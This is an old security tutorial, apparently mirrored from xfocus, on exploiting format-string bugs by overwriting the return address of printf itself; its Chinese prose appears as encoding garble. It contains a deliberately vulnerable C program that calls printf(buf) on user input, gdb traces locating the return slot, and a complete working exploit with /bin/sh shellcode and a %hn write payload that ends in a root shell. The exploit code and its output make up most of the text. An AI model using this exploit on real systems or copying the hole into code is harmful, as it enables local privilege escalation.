[ ÓÀÔ¶µÄUNIX::UNIX¼¼Êõ×ÊÁϵı¦¿â ]

Ê×Ò³ > ÍøÂ簲ȫ > ³ÌÐò > ÕýÎÄ

ÀûÓøñʽ»¯´®¸²¸Ç*printf()ϵÁк¯Êý±¾ÉíµÄ·µ»ØµØÖ·

À´Ô´:±¾Îijö×Ô:www.xfocus.net ×÷Õß:alert7(alert7@netguard.com.cn) (2002-08-09 06:02:00)


²âÊÔ»·¾³:linux redhat 6.2 kernel 2.2.14

¡ï Ç°ÑÔ

ÔÚscutдµÄ<<Exploiting Format String Vulnerabilities v1.2>>ÖÐÁгöÁËÁùÖֱȽÏ
ͨÓõķ½·¨À´»ñµÃ¿ØÖÆÈ¨£º

1. ¸²¸ÇGOT
2. ÀûÓÃDTORS
3. ÀûÓàC library hooks
4. ÀûÓàatexit ½á¹¹(¾²Ì¬±àÒë°æ±¾²ÅÐÐ)
5. ¸²¸Çº¯ÊýÖ¸Õë
6. ¸²¸Çjmpbuf's

ÔÚÕâÀ²»ÏëÌÖÂÛÉÏÃæÕâЩ¶«Î÷£¬Çë×ÔÐвο¼Ïà¹Ø×ÊÁÏ

µ«ÊÇÓÐЩʱºò£¬ÄãÖ»Äܸ²¸Ç0xbfff0000-0xbfffffffµÄµØÖ·¿Õ¼ä£¬ÒòΪÊÇformat string 
±»³ÌÐò×öÁËÏÞÖÆ£¬¶ø³ÌÐòÓÖµ÷ÓÃÁËexit(0)£¬(Ò²ÐíÄãûÓÐÅöµ½¹ýÕâÑùÀàËÆµÄ©¶´³ÌÐò£¬µ«ÎÒ
Åöµ½ÁË£¬¶øÇÒ±ÈÕâ¸öÒªÇ󻹸ü¿Á¿Ì:( ) ËùÒÔÀûÓø²¸ÇGOT¡¢ÀûÓÃDTORS¡¢ÀûÓÃC library hooks
ÕâЩ¼¼Êõ¶¼Ðв»Í¨ÁË£¬ÒòΪÕâЩµØÖ·ÒÔ0x08´òÍ·(C library hooksÊÇ0x04´òÍ·)¡£¸²¸Çmain
·µ»ØµØÖ·Ò²²»ÐС£ÄÇ×ܸø²¸Çµ½µãʲô¶«Î÷ʹÎÒÃǵÄshellcodeµÃµ½¿ØÖÆÈ¨°É¡£

¡ï ¸²¸Ç¸ñʽ»¯º¯Êý×Ô¼ºµÄ·µ»ØµØÖ·

Ò»°ãµÄbuffer overflowµÄÇé¿öÏ£¬ÊDz»¿ÉÄܸ²¸Çµ½Ïó*printf()ÕâÖÖglibcº¯ÊýµÄ·µ»ØµØÖ·µÄ£¬
µ«ÊÇformat string¾Í¸øÁËÎÒÃÇ»ú»á£¬¶øÇÒ¸öÈËÈÏΪ¾«È·¶È»á¸ü¸ß¡£
±ÈÈç˵printf(buf),¾ÍÀûÓøñʽ»¯´®µÄbufÀ´¸²¸Çprintfº¯ÊýµÄ·µ»ØµØÖ·¡£


¡ï ´æÔÚ¸ñʽ»¯×Ö·û´®ÎÊÌâµÄ³ÌÐò

[alert7@redhat62 alert7]# cat vul.c

#include <stdio.h> 
int main(int argc,char **argv) 

char buf[10000]; 
bzero(buf,10000); 
if (argc==2) { 
strncpy(buf,argv[1],9999); 
printf(buf); 


[alert7@redhat62 alert7]# gcc -o vul vul.c -g


¡ï ¾«È·¶¨Î»¼¸¸öÊý¾Ý

Ò»²é¿´À¬»øÊý¾Ý¸öÊý£¨ÒÔ4×Ö½ÚΪµ¥Î»£©

[alert7@redhat62 alert7]# ./vul aaaa%p%p%p%p%p%p%p%p%p
aaaa0x616161610x702570250x702570250x702570250x702570250x7025(nil)(nil)(nil)
ÎÒÃÇ¿´µ½Ã»ÓÐÀ¬»øÊý¾Ý X=0;Èç¹û²»Ã÷°×Ôõô»ØÊ£¬Çë²éÔÄ
<<Exploiting Format String Vulnerabilities >>

¶þ²é¿´format string µØÖ·

[alert7@redhat62 alert7]# gdb vul -q
(gdb) disass main
Dump of assembler code for function main:
0x8048438 <main>:       push   %ebp
0x8048439 <main+1>:     mov    %esp,%ebp
0x804843b <main+3>:     sub    $0x2710,%esp
0x8048441 <main+9>:     push   $0x2710
0x8048446 <main+14>:    lea    0xffffd8f0(%ebp),%eax
0x804844c <main+20>:    push   %eax
0x804844d <main+21>:    call   0x8048364 <bzero>
0x8048452 <main+26>:    add    $0x8,%esp
0x8048455 <main+29>:    cmpl   $0x2,0x8(%ebp)
0x8048459 <main+33>:    jne    0x8048487 <main+79>
0x804845b <main+35>:    push   $0x270f
0x8048460 <main+40>:    mov    0xc(%ebp),%eax
0x8048463 <main+43>:    add    $0x4,%eax
0x8048466 <main+46>:    mov    (%eax),%edx
0x8048468 <main+48>:    push   %edx
0x8048469 <main+49>:    lea    0xffffd8f0(%ebp),%eax
0x804846f <main+55>:    push   %eax
0x8048470 <main+56>:    call   0x8048374 <strncpy>
0x8048475 <main+61>:    add    $0xc,%esp
0x8048478 <main+64>:    lea    0xffffd8f0(%ebp),%eax
0x804847e <main+70>:    push   %eax
0x804847f <main+71>:    call   0x8048354 <printf>
0x8048484 <main+76>:    add    $0x4,%esp
0x8048487 <main+79>:    leave
0x8048488 <main+80>:    ret
End of assembler dump.

(gdb) b * 0x804847f
Breakpoint 1 at 0x804847f: file vul.c, line 8.
(gdb) r aaaa
Starting program: /home/alert7/overflow/sploit/vul aaaa

Breakpoint 1, 0x804847f in main (argc=2, argv=0xbffffba4) at vul.c:8
8       printf(buf);

(gdb)  p &buf
$1 = (char (*)[10000]) 0xbfffd468
~~~~~~~~~~~~~~~~~~~~~~~^0xbfffd468 format string addr

(gdb) i reg $eax $esp $ebp
eax            0xbfffd468       -1073752984
esp            0xbfffd464       -1073752988
ebp            0xbffffb78       -1073742984


(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0xbffffcbf      0xbfffd468      0x61616161      0x00000000

(gdb) si
0x8048354 in printf () at printf.c:26
26      printf.c: No such file or directory.

(gdb) x/8x 0xbfffd450
0xbfffd450:     0xbfffd468      0xbffffb78      0x08048475      0xbfffd468
0xbfffd460:     0x08048484      0xbfffd468      0x61616161      0x00000000
~~~~~~~~~~~~~~~~~^¾ÍÕâ¸öµØÖ·£¬ÒѾ­±ä³ÉÁË0x08048484£¬¾ÍÊǸÃprintfº¯ÊýµÄ·µ»ØµØÖ·£¬
ËùÒÔÎÒÃÇÒ²ÕÒµ½ÁËprintfº¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ·£º0xbfffd460
Æäʵ0xbfffd464µØÖ·µÄÄÚÈݾÍÊÇpush %eaxÏÂÈ¥µÄ¶«Î÷
0xbfffd460Ϊ¸ÃprintfÉÏÏÂÎĵÄÕ»Ö¡µÄEIP´æ·ÅµØÖ·


Èý ¼ÆËãprintfº¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ·

ÏÖÔÚÀ´Óù«Ê½±í´ïÒ»ÏÂprintfº¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ·£º(format string addr) -(X*4)-8
format string addrÊÇ¿ÉÒÔ±©Á¦²Â²âµÄ¡£X¸üÊÇ¿ÉÒÔ¼òµ¥µÄµÃµ½£¬ËùÒÔÕâ¸öµØÖ·ÊǺܾ«È·µÄ¡£
µ±È»²»Í¬µÄϵͳ²»Í¬µÄ¸ñʽ»¯´®µÈµÈ¶¼»áµ¼ÖÂ*printfϵÁк¯Êý·µ»ØµØÖ·´æ·ÅµÄµØÖ·²»Ò»Ñù£¬ÐèÒª
×ÔÐÐÑо¿ºÍ¾ÀÕý¹«Ê½£¬ÕâÀïÖ»ÊǸö¼òµ¥µÄÑÝʾ£¬ÒâÔÚÅ×שÒýÓñ¡£


¡ï ¿´¿´ÎÒÃǵÄÀûÓóÌÐò

[alert7@redhat62 alert7]# cat exp.c
/*e*/
#include <stdlib.h>                                             
#include <unistd.h>                                             
                                                               
#define DEFAULT_OFFSET                    0                     
#define DEFAULT_ALIGNMENT                 0                     
#define DEFAULT_RETLOC                  0xbfffd468-0*4-8 //F-X*4-8
                          //FΪ¸ñʽ»¯×Ö·û´®µØÖ·
                          //XΪÀ¬»øµÄ¸öÊý£¬X*4Ò²¾ÍÊÇ
                          //´Óespµ½FµÄ³¤¶È

#define NOP                            0x90                     

char shellcode[] =                     
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
                                   
int main(int argc, char *argv[]) {                             
  char *ptr;                                       

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];                
  char buf1[5000];

  printf("Using RET location address: 0x%x\n", retloc); 
  shell_addr = retloc+80;
  printf("Using Shellcode address: 0x%x\n", shell_addr); 
   
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>  0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
       
        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
    /*ÍÆ¼ö¹¹Ôì¸ñʽ»¯´®µÄʱºòʹÓÃ%hn*/
}

if ((SH1 )>(SH2))
{
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc) & 0xff;
       (*ptr++) = ((retloc) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc) >> 24 ) & 0xff ;
       memset(ptr,'B',4);
       ptr += 4 ;
       (*ptr++) =  (retloc+2) & 0xff;
       (*ptr++) = ((retloc+2) >> 8  ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
       (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

        sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
    {
    printf("²»ÄÜÓÃÒ»¸öprintfʵÏÖÕâÖÖÇé¿ö\n");
    }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./vul","vul",buf1, NULL,NULL);       
}

[alert7@redhat62 alert7]# gcc -o exp exp.c
[alert7@redhat62 alert7]# ./exp
    ......£¨Ê¡ÂÔÁËһЩprintf³öÀ´µÄÂÒÐÅÏ¢£©
               Bë^1ÀFF
                      ?
                       óV
                         ?ÛØ@Íè?ÿÿ/bin/sh[alert7@redhat62 alert7]#
Ôõô»áûÓгɹ¦ÄØ£¬ÎÒÃÇÀ´¿´¿´Ôõô»ØÊ£¬ÔÚvul.cµÄprintf(buf)֮ǰ¼Ó¸ösleep(30);
ÏÈÔÚÒ»¸öttyÉÏÔËÐÐ./exp,ÔÚÁíÍâÒ»¸öttyÉÏÈçϲÙ×÷£º
[alert7@redhat62 /alert7]# ps -aux|grep vul
alert7       892  0.3  0.3  1084  296 pts/0    S    10:41   0:00 vul BBBBb?¿BBBB`
alert7       895  0.0  0.5  1360  508 pts/3    S    10:42   0:00 grep vul
[alert7@redhat62 alert7]# gdb vul -q
(gdb) attach 892
Attaching to program: /home/alert7/vul, Pid 892
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
0x400a9c61 in __libc_nanosleep () from /lib/libc.so.6
(gdb) b printf
Breakpoint 1 at 0x4006605c: file printf.c, line 30.
(gdb) c
Continuing.

Breakpoint 1, printf (
    format=0xbfffd718 "BBBBb?¿BBBB`??49135c%hn%5297c%hn", '\220' <repeats 128
times>, "ë\037^\211v\b1À\210F\a\211F\f°\013\211ó\215N\b\215V\fÍ\2001Û\211Ø@Í\20
0èÜÿÿ"...) at printf.c:30
30      printf.c: No such file or directory.
ÎÒÃÇ¿ÉÒÔ¿´µ½£¬ÓÃexecle³öÀ´µÄformat stringµØÖ·¾Í²»ÊÇÔ­À´µÄ0xbfffd468ÁË£¬¶øÊÇÏÖÔÚµÄ
format=0xbfffd718ÁË£¬ËùÒÔÎÒÃǵÄexploit³ÌÐòÓ¦¸ÃÐÞ¸ÄÕâ¸öµØÖ·¡£ÖØÐ±àÒëÖ´ÐС£
[alert7@redhat62 alert7]# ./exp
.....£¨Ê¡ÂÔÁËһЩprintf³öÀ´µÄÂÒÐÅÏ¢£©
Bë^1ÀFF
óV
?ÛØ@Íbash#
bash# £º£©OK£¬³É¹¦ÁË£¡£¡£¡

¡ï Ð¡½á

ÀûÓøñʽ»¯´®¸²¸Ç*printf()ϵÁк¯Êý±¾ÉíµÄ·µ»ØµØÖ·Ó¦¸ÃÊǸöºÜ²»´íµÄ·½·¨£¬¶øÇÒÔÚ¸ñʽ´®
ÎÊÌâÉÏÏԵĺÜÓÐÓÅÊÆ£¬¾«È·¶È¸ü¸ß¡£
×îºó£¬»¶Ó­À´emailÌÖÂÛ¡£


²Î¿¼×ÊÁÏ£º
<<Exploiting Format String Vulnerabilities >> by scut /team teso
(http://www.fanqiang.com)



 
 Ïà¹ØÎÄÕÂ

¡ï  ¸ÐлËùÓеÄ×÷ÕßΪÎÒÃÇѧϰ¼¼Êõ֪ʶÌṩÁËÒ»Ìõ½Ý¾¶  ¡ï
www.fanqiang.com